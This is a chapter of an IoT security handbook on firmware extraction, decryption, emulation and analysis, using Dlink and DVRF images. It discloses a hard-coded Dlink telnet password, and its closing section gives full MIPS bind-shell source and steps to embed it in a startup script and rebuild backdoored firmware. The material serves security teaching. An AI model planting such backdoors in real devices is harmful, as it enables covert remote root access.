© Aditya Gupta 2019
Aditya GuptaThe IoT Hacker's Handbookhttps://doi.org/10.1007/978-1-4842-4300-8_7

7. Firmware Reverse Engineering and Exploitation

Aditya Gupta1 
(1)
Walnut, CA, USA
 

In the preceding chapters, you learned about the attacking of IoT devices using hardware and embedded exploitation techniques. This chapter focuses on the firmware exploitation with which we can exploit the device.

One of the instances where you might have heard of firmware security is during the time a widespread Mirai Botnet infection. Mirai Botnet infects devices by getting access to them using default credentials. This poses a question: How can you, as a security researcher, keep your IoT devices safe from Mirai or ensure that they are not vulnerable? One of the ways is to manually check for the different login credentials on various running services, which is not quite scalable. This is where firmware security skills become useful. It also helps us by not having the limitation of being able to perform a security assessment only when we have the physical device with us. Firmware, for a security researcher, is the factor that enables research and exploitation without having any direct physical access to the device. From a security perspective, it is the most critical component of an IoT device. Almost every device you can think of runs on firmware.

Tools Required for Firmware Exploitation

Before we begin looking into firmware, here are the list of tools that we will be using in this chapter.

Understanding Firmware

Firmware is a piece of code residing on the nonvolatile section of the device, allowing and enabling the device to perform different tasks required for its functioning. It consists of various components such as kernel, bootloader, file system, and additional resources. It also helps in the functioning of various hardware components for the IoT device.

Even if you are not from an electronics background or do not have prior experience working with firmware, you might remember coming across firmware during instances when your smart phone or smart TV was getting updated, and in turn downloading the new version of the device’s firmware.

Firmware, as we have discussed, contains various sections embedded within it. The first step to analyzing firmware to gain deeper insight into it is to identify the various sections that function together to make the complete firmware.

Firmware is a binary piece of data, which when opened in a hex viewer reveals the various sections within it, which then could be identified by looking at the signature bytes of the individual sections.

Before jumping into analyzing a real-world firmware and performing security research on it, let’s first understand what we expect to see once we start our firmware analysis. The only component of firmware that I focus on in this chapter is the file system.

The file system in embedded or IoT device firmware can be of different types, depending on the manufacturer’s requirements and the device functionality. Each of the different file system types has its own unique signature headers that we use later to identify the location where the file system starts in the entire firmware binary. Common file systems that we typically encounter in IoT devices are listed here:
  1. 1.

    Squashfs

     
  2. 2.

    Cramfs

     
  3. 3.

    JFFS2

     
  4. 4.

    YAFFS2

     
  5. 5.

    ext2

     
On top of the different type of file systems, there are also varying types of compressions in use. File systems in IoT devices save on device storage space, which is a valuable asset when we are dealing with IoT devices. Some common compressions that we see in IoT devices are as follows:
  1. 1.

    LZMA

     
  2. 2.

    Gzip

     
  3. 3.

    Zip

     
  4. 4.

    Zlib

     
  5. 5.

    ARJ

     

Depending on what file system type and compression type a device is using, the set of tools we will use to extract it will be different. Now, before we jump into extracting a file system from a firmware and digging deep into it, we need to understand the various ways in which we can access a device’s firmware. All the methods that we discuss here are covered in much more detail in the later sections of this book.

How to Get Firmware Binary

The first thing to learn to perform IoT exploitation is to get hold of the device’s firmware. Depending on the device you are targeting, the way of getting to the firmware binary might differ.

There are different ways to access the firmware binary.
  1. 1.

    Getting it online is one of the most common ways of getting hold of the firmware binary. As you go further in your IoT security journey, you will notice that a lot of manufacturers decide to put their firmware binary package online on either their Support page or the Downloads section of their web site.

     

You can also navigate through the various community support and discussion forums for the device and might end up finding the firmware binary has been uploaded by another user.

For instance, if you navigate to TP-Link’s web site and open any of their devices, there is a strong possibility that you will find the firmware download link (see Figure 7-1).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig1_HTML.jpg
Figure 7-1

TP-Link vendor web site allowing firmware download

  1. 2.

    Extracting from the device is an approach I personally prefer. This means that once you have physical access to the device, using various hardware exploitation techniques, you can dump the firmware from the device’s flash chip and then run additional analysis on it.

    Depending on the device, the protection level might vary and you might have to use one or the other hardware exploitation techniques to get to the firmware binary.

    Sometimes, you will find that you can dump the firmware via a simple UART connection, in some cases you might have to use JTAG, and in other cases you would have to dump it from the flash chip.

     
  2. 3.

    Sniffing Over The Air (OTA) is another common technique of getting to the firmware binary package while the device is performing an update.

    The process here is to set up a network interceptor for the device. As soon as the device queries for downloading the new firmware image from the server, you will be able to extract it from the network capture.

    Obviously, there might be complications while doing this. You might not always have the traffic go through a proxy, or the file being downloaded might not be the entire firmware but rather just a small update package.

     
  3. 4.

    Reversing applications is one of the other smart ways of accessing the firmware. This technique involves you looking at the web and mobile applications of the IoT device and from there figuring out a way to obtain the firmware.

     

Extracting Firmware

Once we have a firmware image, one of the most important things we can do with it is extract the file system from the binary image. We can extract file systems from a firmware image using either a manual or an automated approach. Let’s start with the manual way.

Manual Firmware Extraction

Let’s start with a very simple firmware—a Dlink 300B firmware, which is used in the Dlink 300 series routers and would be a good starting point in learning about firmware internals, taking real-world firmware and digging deep into it.

The firmware binary is in the code samples for this book at the location /lab/firmware/.

If we do a file at this step to understand the type of file format, the output indicates that it is a data file (see Figure 7-2).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig2_HTML.png
Figure 7-2

Analyzing Dlink firmware

Because the file in this case did not reveal much information, we can use hexdump to dump the contents of the binary firmware file in hex format. At the same time, we will also grep for shsq, which is the signature header bytes for a Squashfs file system. If it does not match shsq, we will then try with the signature bytes for LZMA, Gzip, and so on.

As we can see from Figure 7-3, the hexdump output contains the shsq bytes at the location 0x000e0080. This means that our file system begins from the offset address of 0x000e0080, as shown in Figure 7-3.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig3_HTML.png
Figure 7-3

Grepping for shsq

This is a critical piece of information, and can be used to selectively dump the file system from the binary into a new file. This file could then either be mounted as a new file system or run through tools such as unsquashfs to reveal the file system contents. Let’s go ahead and dump the file system from the entire firmware binary image using a tool called dd. With dd, we can either use the address in hex or in decimal, passing it as the offset from where dd should start dumping the file system, as shown in Figure 7-4.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig4_HTML.png
Figure 7-4

Extracting file system using dd

We now have just the file system in a new separate file called Dlink_fs . If we run this through unsquashfs, a tool to uncompress squashfs file systems, Figure 7-5 shows the result.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig5_HTML.png
Figure 7-5

Extracted file system

We now have the entire file system extracted that was present in the Dlink firmware binary. This is a huge win for us, as we now have full access to all the individual files and folders present in the firmware.

Automated File System Extraction

As you have probably realized by now, manually performing all the steps manually for any firmware you will have to analyze can gradually become a cumbersome and repetitive task.

Binwalk is a tool written by Craig Heffner that automates all the steps in the preceding section and helps us in the extraction of the file system from a firmware binary image. It does this by matching the signatures present in the firmware image to the ones in its database and provides us an estimate of what the different sections could be. You will find it works for most of the publicly available firmware.

Setting up Binwalk on an Ubuntu instance is quite straightforward:
git clone https://github.com/devttys0/binwalk.git
cd binwalk-master
sudo python setup.py
Let’s download a new firmware and use Binwalk to extract the file system from the firmware as well as perform additional analysis. The firmware we use here is the Damn Vulnerable Router Firmware (DVRF) by @b1ack0wl.
wget --no-check-certificate https://github.com/praetorian-inc/DVRF/blob/master/Firmware/DVRF_v03.bin?raw=true
Once we have the firmware, let’s fire up Binwalk and see the various sections present in the firmware image.
binwalk -t dvrf.bin
-t in this command simply tells Binwalk to format the output text in a nice tabular format. Figure 7-6 shows what you see when you run that command.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig6_HTML.png
Figure 7-6

Extracting file system using Binwalk

As you can see, it specifies that there are four sections in the entire firmware image:
  1. 1.

    Bin header

     
  2. 2.

    Firmware header

     
  3. 3.

    Gzip compressed data

     
  4. 4.

    Squashfs file system

     

Additionally, Binwalk can also provide more details about the firmware, such as an entropy analysis. An entropy analysis helps us to understand whether the data in firmware are encrypted or simply compressed.

Let’s perform an entropy analysis on this firmware and see what we get.
binwalk E dvrf.bin
As you can see in Figure 7-7 , the entropy analysis shows us a line with a bit of variation in the middle. A line with variation in an entropy analysis indicates that the data are simply compressed and not encrypted, whereas a completely flat line indicates that the data are encrypted.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig7_HTML.jpg
Figure 7-7

Entropy analysis

Now we know that we have a firmware image with the data not encrypted. As we learned from the first Binwalk command of identifying various sections, the file system in this case is Squashfs. Now instead of using dd and dumping individual segments, we can simply use Binwalk with the -e flag (lowercase) to extract the file system from the firmware image (see Figure 7-8).
binwalk -e dvrf.bin
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig8_HTML.png
Figure 7-8

Extracting DVRF with Binwalk

Even though the displayed output is the same as running it without any flags, in this case Binwalk also generated a new directory for us containing the extracted file system. The generated directory in Binwalk is named with the firmware name, prepended with an underscore (_) and appended with.extracted.

If we look inside the directory, it has the following contents:
  1. 1.

    A .squashfs file system

     
  2. 2.

    Piggy

     
  3. 3.

    Squashfs-root folder

     
If we navigate inside the squashfs-root folder, we notice that it consists of the entire file system of the firmware image, as shown in Figure 7-9.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig9_HTML.png
Figure 7-9

Access to the entire file system

As you can imagine, Binwalk makes it extremely simple and straightforward to extract file systems from a firmware image.

Firmware Internals

At this point in time, it’s essential to get a deeper knowledge of what a firmware holds and what some of the unknown values such as piggy mean. To understand firmware, we must first understand the specific things that firmware holds.
  1. 1.

    Bootloader: Bootloader for an embedded system is responsible for numerous tasks such as initializing various critical hardware components and allocating the required resources.

     
  2. 2.

    Kernel: Kernel is one of the core components of the entire embedded device. Speaking at a very general level, a kernel is simply an intermediary layer between the hardware and the software.

     
  3. 3.

    File system: The file system is where all the individual files necessary for the embedded device runtime are stored. This also includes components such as web servers and network services.

     
To give a bit more insight into an embedded device bootup process, here’s how a typical embedded device boots up.
  1. 1.

    Bootloader initiates required hardware and system components for bootup.

     
  2. 2.

    Bootloader is passed in the physical address of the kernel as well as the loading of the device tree.

     
  3. 3.

    Kernel is loaded from the preceding address, which then initiates all the required processes and additional services for the embedded device to operate.

     
  4. 4.

    Bootloader dies as soon as the kernel gets loaded.

     
  5. 5.

    The root file system is mounted.

     
  6. 6.

    As soon as the root file system is mounted, a Linux kernel spawns a program called init.

     

This also means that if we have access to the bootloader or if we can load our customized bootloader to the target device, we will be able to control the entire operation of the device, even making the device use a modified kernel instead of the original one. It is a good experiment to perform, but it is beyond the scope of this book.

Hard-Coded Secrets

One of the most important use cases for extracting the file system from firmware is to be able to look for sensitive values within the firmware. Now, if you are getting started in security or are not familiar with the concept of reverse engineering, here are some of the things that we can potentially look for, which will be good for us from a security researcher’s point of view:
  1. 1.

    Hard-coded credentials.

     
  2. 2.

    Backdoor access.

     
  3. 3.

    Sensitive URLs.

     
  4. 4.

    Access tokens.

     
  5. 5.

    API and encryption keys.

     
  6. 6.

    Encryption algorithms.

     
  7. 7.

    Local pathnames.

     
  8. 8.

    Environment details.

     
  9. 9.

    Authentication and authorization mechanisms.

     

There could be more, depending on what device you are assessing.

To understand this, let’s take the same firmware we used earlier, the Dlink 300B firmware image. Because we have already extracted the file system from the firmware image, we can directly go to the extracted folder, which in this case is ~/lab/Dlink_firmware/_extracted/squashfs-root/.

Here, let’s look for a sensitive value such as telnet credentials that could be used to access the device remotely. Depending on the situation, this would have a huge impact; imagine a baby monitor having telnet access enabled with a hard-coded password, in which you can view the images and even start and stop video recording.

Once we are in the firmware folder, we can use grep to search for all the files inside the various folders and see if any of them contain a match of the word telnet (see Figure 7-10).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig10_HTML.png
Figure 7-10

Identifying hard-coded secrets

It appears that this firmware image does contain a couple of mentions of the word telnet. If we look closely, we see that the file /etc/scripts/telnetd.sh has a command specifying telnet login and a mention of telnetd.sh in the system.sh file. Open the system.sh file in a text editor as shown in Figure 7-11.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig11_HTML.png
Figure 7-11

Locating telnet credentials

As you can see, system.sh simply invokes the other file telnetd.sh located in /etc/scripts/misc/. Let’s go ahead and fire up the file in nano as shown in Figure 7-12.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig12_HTML.png
Figure 7-12

Identifying telnet credentials

Understanding the command, it turns out that it is being used to start the telnet service with the username of AlphaNetworks and the password being a variable $password. Looking at the very first line tells us that the variable $password is the output of the command cat /etc/config/image_sign.

This is what we find when we run the command mentioned in the file. As we can see in Figure 7-13, wrgn23_dlwbr_dir300b is the actual telnet password of this device with the username being root. Note here that the credential is common for all the Dlink 300B devices available.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig13_HTML.png
Figure 7-13

Found password

Encrypted Firmware

In the IoT ecosystem, you might sometimes encounter encrypted firmware. The encryption might vary depending on the firmware. You might sometimes find firmware encrypted with simply XOR or sometimes even with Advanced Encryption Standard (AES). Let’s go ahead and see how we can analyze firmware that is encrypted with XOR encryption and reverse it to identify vulnerabilities.

For this exercise, we use the firmware encrypted.bin provided with the Download bundle for this book. This vulnerability was first identified by Roberto Paleari (@rpaleari) and Alessandro Di Pinto (@adipinto).

Let’s start by performing a Binwalk analysis and see what sections are present (Figure 7-14).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig14_HTML.png
Figure 7-14

Binwalk on encrypted firmware

As we can see, Binwalk in this case fails to identify any specific section. This is a strong indication of either of two things:
  1. 1.

    We are dealing with a proprietary firmware with a modified and unknown file system and sections.

     
  2. 2.

    The firmware is encrypted.

     
The first thing we can do is check whether the firmware is encrypted with XOR encryption. For this, simply perform a hexdump and see if there are any recurring strings, which is a good indication of usage of XOR encryption, as shown in Figure 7-15.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig15_HTML.png
Figure 7-15

Hexdump to analyze encryption

As we know, XOR of a value with 0x20 (in ASCII) results in the same value.
hexdump -C WLR-4004v1003-firmware-v104.bin | tail -n 10

Can you see the pattern? The 88 44 a2 d1 68 b4 5a 2d seems to be repetitive for a number of times and we have thus identified our key.

Let’s go ahead and decrypt the firmware with an XOR decryption script using the code in Listing 7-1.
import os
import sys
key = "key-here".decode("hex")
data = sys.stdin.read()
r = ""
for i in range(len(data)):
     c = chr(ord(data[i]) ^ ord(key[i % len(key)]))
      r += c
sys.stdout.write(r)
Listing 7-1

Decrypting XOR Encrypted Data

Once we go ahead and run this, we now have the decrypted.bin shown here.
cat encrypted.bin | python decryptxor.py > decrypted.bin
Let’s run Binwalk on decrypted.bin now, and see if Binwalk can identify the various sections, as shown in Figure 7-16.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig16_HTML.png
Figure 7-16

Binwalk on the decrypted firmware

Extract the firmware using Binwalk and as shown in Figure 7-17, you can see that we now have access to the contents of the file system in the firmware.
binwalk -e decrypted.bin
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig17_HTML.jpg
Figure 7-17

File system of the decrypted firmware

As we dig deeper in the firmware, one of the things we usually look for during penetration tests are custom binaries that seem interesting. There is another squashfs image inside the file system, as you can see from Figure 7-17. We can extract it using unsquashfs, as shown in Figure 7-18.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig18_HTML.jpg
Figure 7-18

Extracting the squashfs file system

Once we have unsquashed the ess_apps.sqsh file, we can then have a look at all the underlying components, as shown in Figure 7-19.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig19_HTML.jpg
Figure 7-19

Extracted Squashfs file system

There are three folders here—lib, sbin , and www. We can look into various files and folders individually.

Libraries in embedded file systems often contain sensitive information and might also reveal certain vulnerabilities. Even though we cover ARM and MIPS disassembly later on in this book, I’ll show a walkthrough of how you can do some basic analysis on the library using a tool called radare2.

We only look at the various functions at this point to give you a basic idea. Let’s launch radare2 with the -a and -b flags specific to the architecture and block size.
radare2 -a mips -b32 libdbox.so

Once we are in radare2, let’s run the complete initial analysis required by radare2, which could be done by aaa.

This might take a couple of seconds or a couple of minutes, depending on the size of the library. In this case, our library is quite small and this shouldn’t take more than a few seconds. As soon as the analysis is done, we will run afl to list all the functions in the library (see Figure 7-20).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig20_HTML.jpg
Figure 7-20

Analyzing all the functions using radare2

A better way to do it is to grep for interesting strings in the function names that we could later analyze. Let’s do a grep for wifi, gen, and get strings, and see if there are any functions containing these strings.

To do a grep in radare2, we need to use the ~ character (see Figure 7-21).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig21_HTML.jpg
Figure 7-21

Looking for a function with pincode in it

At this point, you can look into the disassembly of individual functions and also identify vulnerabilities such as command injection and buffer overflows.

Emulating a Firmware Binary

Once we have a firmware with an extracted file system, one of the first things that we need to do as security researchers is look at the individual binaries and see if there are any vulnerabilities.

Now, because IoT devices run on different architectures and not necessarily x86 (on which most of our systems run), we must be able to understand and analyze binaries meant for different platforms such as ARM, MIPS, PowerPC, and so on.

To statically analyze the binaries, we use tools such as radare2, IDA Pro, and Hopper. We will see an in-depth analysis of binaries meant to be run on different architectures in later chapters. For now, we are only concerned with emulating the binary and making it run. Even though these binaries are for different architectures, we can use a utility known as Qemu to emulate the binaries on our platform. To do this, we need to first install qemu on our platform for the corresponding architectures.
sudo apt-get install qemu qemu-common qemu-system qemu-system-arm qemu-system-common qemu-system-mips qemu-system-ppc qemu-user qemu-user-static qemu-utils

Once we have Qemu installed, let’s have a look at our target firmware. For this exercise, we use DVRF, which we used earlier to demonstrate file system extraction using Binwalk.

Navigate to the file system folder of DVRF so that your current directory structure looks like the one shown in Figure 7-22.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig22_HTML.png
Figure 7-22

File system of DVRF firmware

Here, we need to copy the Qemu binary corresponding to the architecture of binaries in DVRF. Let’s first determine the architecture on which DVRF is meant to run. We can use readelf -h on any individual binary inside the DVRF file system to identify the architecture. As we can see, the architecture in this case is MIPS (Figure 7-23).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig23_HTML.png
Figure 7-23

Finding architecture for the target device, MIPS in this case

Let’s go ahead and grab the Qemu binary for MIPS and copy to the squashfs folder of DVRF.
$ which qemu-mipsel-static
/usr/bin/qemu-mipsel-static
$ sudo cp /usr/bin/qemu-mipsel-static .

Now that we have qemu-mipsel-static, which is the binary for running MIPS little-endian binaries, it also provides the libraries that are required.

Once we have this, the next step is to run a binary emulating the architecture and providing the correct path for all the related files. For example, if we run ./bin/busybox it might be meant to look for additional related files in the location /lib or any other similar location. If we run it simply, it would look for that file in our system’s /lib location and not _dvrf.bin.extracted/squashfs-root/lib. This can also be verified by running it as shown in Figure 7-24.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig24_HTML.png
Figure 7-24

Errors while emulating a single binary

We get an error saying /lib/ld-uClibc.so.0: No such file or directory. If we look in the lib folder of DVRF, we see that this library is indeed present (see Figure 7-25).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig25_HTML.jpg
Figure 7-25

Existence of ld-uClibc.so.0 inside the lib folder

It is giving an error because the program is looking for that library in the /lib folder and not the lib folder of DVRF. To make it look for it in the location _dvrf.bin.extracted/squashfs-root/lib we need to specify while running the program that the home folder path is _dvrf.bin.extracted/squashfs-root/ and not /. To do this, we use a utility called chroot, with which we can pass in our own location as the program’s home or root location. The root location in this case will be the squashfs-root folder.

Let’s now go ahead and run the binary with qemu-mipsel-static specifying chroot with the program root folder, which is the current folder from which we are executing the command (see Figure 7-26).
sudo chroot . ./qemu-mipsel-static ./bin/busybox
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig26_HTML.png
Figure 7-26

Successful emulation of a firmware binary

Thus, now we can emulate a firmware binary that was originally meant to be run on only MIPS-based architectures. This is a huge win for us because now we can perform additional analysis on the binary, such as running it with arguments, attaching a debugger to it, and so on.

Emulating an Entire Firmware

Once we have successfully emulated a firmware binary, the next step for us would be to emulate the entire firmware image. This is helpful in a number of ways:
  • It gives us access to all the individual binaries in the firmware image.

  • It allows us to perform network-based attacks on the firmware

  • We can hook a debugger to any specific binary and perform vulnerability research.

  • It allows us to view the web interface if the firmware comes with any.

  • It enables us to perform remote exploitation security research.

These are just some of the advantages that come along with emulating the entire firmware image. However, there are a few challenges to make the entire firmware emulation.
  1. 1.

    The firmware is meant to run on another architecture.

     
  2. 2.

    The firmware during bootup might require configurations and additional information from Non-Volatile RAM (NVRAM).

     
  3. 3.

    The firmware might be dependent on physical hardware components to run.

     

If we tackle all of these problems and come up with a solution for each, it is highly possible that we will be able to run the firmware in full emulation.

The first challenge, in which the firmware is meant to run on another architecture, is something we already solved using Qemu in the previous section. We again use Qemu to solve this challenge.

The second challenge, which is the dependence of firmware on components such as NVRAM, can be solved in an interesting way. If you are familiar with the concept of web proxying, where we set up a proxy that intercepts and allows us to modify any data that are being sent or received by the client to or from the server, we use the same approach here. We can set up an interceptor that listens to all the calls being made by the firmware to NVRAM and can return our custom values. This way, the firmware will believe that there is an actual NVRAM responding to the queries made by the firmware.

The next challenge to emulate the firmware is to figure out the dependence on hardware. For now, we simply ignore this challenge as it is really a device-specific scenario and often you will find most of the components to be working even with no physical device access.

To do this, we use a script called Firmware Analysis Toolkit (FAT) , which is a script built on top of Firmadyne, a tool meant for emulating firmware. Let’s set everything up.
git clone —recursive https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
sudo ./setup.sh

At this point, we also need to modify the value of FIRMWARE_DIR and set it to the current path of the firmware-analysis-toolkit, which is where we will be storing the firmware.

Figure 7-27 shows what our current firmadyne.config file looks like now.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig27_HTML.png
Figure 7-27

Modifying FIRMWARE_DIR variable in firmadyne.config

Once we have everything set up, we can go ahead and emulate the entire firmware. For this exercise, we use the Dlink 300B firmware we used in the very first exercise.
sudo ./fat.py
Once we run the FAT, it will ask us to enter the path of the firmware we want to analyze and the brand name of the firmware. This information is stored in a postgresql database for management purposes. It will then go ahead and store the various properties, such as the architecture type and other relevant information in the database. During the entire operation, it will ask for the password a couple of times. The default password for the database is firmadyne (see Figure 7-28).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig28_HTML.png
Figure 7-28

Running fat.py for firmware emulation

After around a minute, you will see that the script has network access and has finally run the firmware. You can now access the IP address provided by the script to access the web interface of the firmware in the exact same way as you would have accessed the real device’s web interface (see Figure 7-29).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig29_HTML.jpg
Figure 7-29

Successful emulation of Netgear firmware

Let’s go to the IP address provided, which in this case is 192.168.0.1. As we can see in Figure 7-30, we have the login panel of the Dlink router.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig30_HTML.png
Figure 7-30

Web interface accessible after the firmware is emulated

We can try with some common credentials, and it turns out that the valid credential in this case is admin with no password. We can use the same technique to emulate the firmware of any other IoT device as well.

Backdooring Firmware

Backdooring firmware is one of the security issues firmware faces if the device has no secure integrity checks and signature validation. As attackers, we could extract the file system from firmware and then modify the firmware by adding our own backdoor. This modified firmware could then be flashed to the real IoT device, which would then give us backdoor access to the device.

In this section, we take the Dlink firmware as an example to backdoor and then we add a custom backdoor to open Port 9999 for us to access the device. To modify the firmware, we need to first extract the file system from the firmware. Instead of using Binwalk, here, we use a tool called Firmware Mod Kit.
git clone https://github.com/brianpow/firmware-mod-kit.git
Once we have the Firmware Mod Kit (FMK) downloaded, we need to change the address of Binwalk in the file shared-ng.config, as shown in Figure 7-31. We can find the address of Binwalk and update that address in the file.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig31_HTML.png
Figure 7-31

Modifying variables value binwalk inside the shared-ng.inc file

Now, let’s go ahead and copy the firmware Dlink_firmware.bin to this address and run ./extract-firmware.sh. If you run it for the first time, as shown in Figure 7-32, it will show you a lot of verbose output and several warnings, but it’s safe to ignore them.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig32_HTML.png
Figure 7-32

Extracting firmware using FMK

Once the extraction is complete, the location of the extracted files is displayed as shown in Figure 7-33.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig33_HTML.jpg
Figure 7-33

Location of the extracted files

Here, we need to go to rootfs, which is the root file system where we will find the entire file system contents. At this point, we can modify the values or add any additional file or binary, which we can then repackage into the new firmware image.

We have two tasks here:
  1. 1.

    Creating a backdoor and compiling it to run on MIPS-based architecture.

     
  2. 2.

    Modifying entries and placing the backdoor in a location so that it can be started automatically at bootup.

     

Creating a Backdoor and Compiling It to Run on MIPS-Based Architecture

The backdoor we use in this case was created by Osanda Malith (@OsandaMalith) and is located in the additional folder in the Downloads bundle for this book (Listing 7-2).
include <stdio.h>
include <stdlib.h>
include <string.h>
include <sys/types.h>
include <sys/socket.h>
include <netinet/in.h>
define SERVER_PORT    9999
 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith)
* Bind Shell using Fork for my TP-Link mr3020 router running busybox
 * Arch : MIPS
 * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc
  */
int main() {
int serverfd, clientfd, server_pid, i = 0;
char *banner = "[~] Welcome to @OsandaMalith's Bind Shell ";
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
struct sockaddr_in server, client;
socklen_t len;
server.sin_family = AF_INET;
server.sin_port = htons(SERVER_PORT);
server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0);
bind(serverfd, (struct sockaddr *)&server, sizeof(server));
listen(serverfd, 1);
while (1) {
len = sizeof(struct sockaddr);
clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
server_pid = fork();
if (server_pid) {
write(clientfd, banner,  strlen(banner));
for(; i <3 /*u*/; i++) dup2(clientfd, i);
execve("/bin/busybox", args, (char *) 0);
close(clientfd);
} close(clientfd);
} return 0;
}
Listing 7-2

Backdoor Code

The backdoor in Listing 7-2 opens Port 9999 and connects it to the busybox binary, allowing us to execute commands when interacting over the port.

To compile this, we would need the cross-compiling tool chain for MIPS architecture. BuildRoot is a special tool that can help us compile programs for a different target architecture than the one we are on.

Let’s go ahead and set up BuildRoot.
wget https://buildroot.org/downloads/buildroot-2015.11.1.tar.gz
tar xzf buildroot*
cd buildroot*/
Once we are in the buildroot directory, we can type make menuconfig to bring up the options for which we would like to build our tool chain (see Figure 7-34).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig34_HTML.jpg
Figure 7-34

Options for building a tool chain

Navigate to Target Options and change the Target Architecture to MIPS (little-endian) as shown in Figure 7-35.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig35_HTML.png
Figure 7-35

Setting target architecture to MIPS

Under Toolchain , select Build Cross GDB for the Host, as well as GCC Compiler (see Figure 7-36).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig36_HTML.jpg
Figure 7-36

Enabling GDB and GCC for our new cross compiler

Once this is complete, save the configuration and exit. The only step left now to build our tool chain is to execute the make command as shown in Figure 7-37. Remember that the make command could take some time to complete.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig37_HTML.jpg
Figure 7-37

Building buildroot cross compiler for MIPS with GCC

Once done, we are now ready to compile our bindshell.c with the GCC for MIPS, which we have just created using buildroot, as shown in Figure 7-38.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig38_HTML.png
Figure 7-38

Cross compiler building in progress

For compilation, we can use the binary ./mipsel-buildroot-linux-uclibc-gcc and run it on bindshell.c, as shown in Figure 7-39.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig39_HTML.png
Figure 7-39

Compiling bindshell.c to bindshell binary for MIPS

We just created a bindshell binary, which now can be executed on the MIPS-based architecture.

Modifying Entries and Placing the Backdoor in a Location so It Could Be Started Automatically at Bootup

Once we have compiled our bindshell, let’s go in the FMK directory and find a place to put this newly compiled binary. One idea, if we are looking for a script in Linux that automatically starts during bootup, is to look inside the /etc/init.d folder, which contains a number of scripts as shown in Figure 7-40.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig40_HTML.png
Figure 7-40

Symlinks of shell scripts to another location

However, the scripts here are symlinked to files in /etc/scripts, so let’s look at the /etc/scripts location, which again contains a number of .sh files (Figure 7-41).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig41_HTML.png
Figure 7-41

Scripts folder contains all the system scripts

Let’s take a look at the script system.sh, which was one of the entries we found in the /etc/init.d location (Figure 7-42).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig42_HTML.jpg
Figure 7-42

System.sh file contents from etc/scripts/

This script indeed looks like a good location and looks like it is starting several services by executing scripts such as telnetd.sh, lan.sh, and so on. This would be a perfect place to add our own entry that would then be auto started.

Let’s add a line in system.sh asking it to invoke a backdoor binary that we would place in the /etc/templates location (Figure 7-43).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig43_HTML.jpg
Figure 7-43

Adding our backdoor code inside the system.sh script

You can save this file and exit. We will now put the backdoor binary in the /etc/templates location as we mentioned in the script.
cd ../templates
sudo cp ~Downloads/buildroot-2015.11.1/output/host/usr/bin/bindshell .
Now that we have placed the backdoor as well as the script in the appropriate location, the only task left is to recompile the firmware. To do this, we need to go to the parent folder of FMK where we had the directory Dlink_firmware/ and execute the following command as shown in Figure 7-44:
./build-firmware.sh Dlink_firmware/ -nopad -min
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig44_HTML.png
Figure 7-44

Compiling our new malicious firmware

Once we have compiled the firmware, we now have the new firmware located inside the Dlink_firmware folder with the name new-firmware.bin (see Figure 7-45).
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig45_HTML.png
Figure 7-45

The new malicious firmware is now created

We can now either flash this firmware to a real device or emulate it using FAT, just like we did earlier. For now, we will emulate it using FAT, as shown in Figure 7-46, and see if we have a backdoor access to Port 9999 where we could execute our commands.
sudo ./fat.py
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig46_HTML.jpg
Figure 7-46

Emulating the new backdoored firmware

It will show you that an IP address of 192.168.0.1 has been assigned to the new firmware. The error shown in the Figure 7-47 is simply because I earlier created an entry for the same firmware, and thus a database conflict happens, which is okay as long as you are dealing with the same firmware. At this step, we can use netcat or nc to connect to the IP and see if we have backdoor access, as demonstrated in Figure 7-47.
../images/473264_1_En_7_Chapter/473264_1_En_7_Fig47_HTML.png
Figure 7-47

Successfully connecting to our backdoor

As you can see, we now have backdoor access to the firmware over Port 9999, which could also be used to execute malicious commands as root privileges.

Running Automated Firmware Scanning Tools

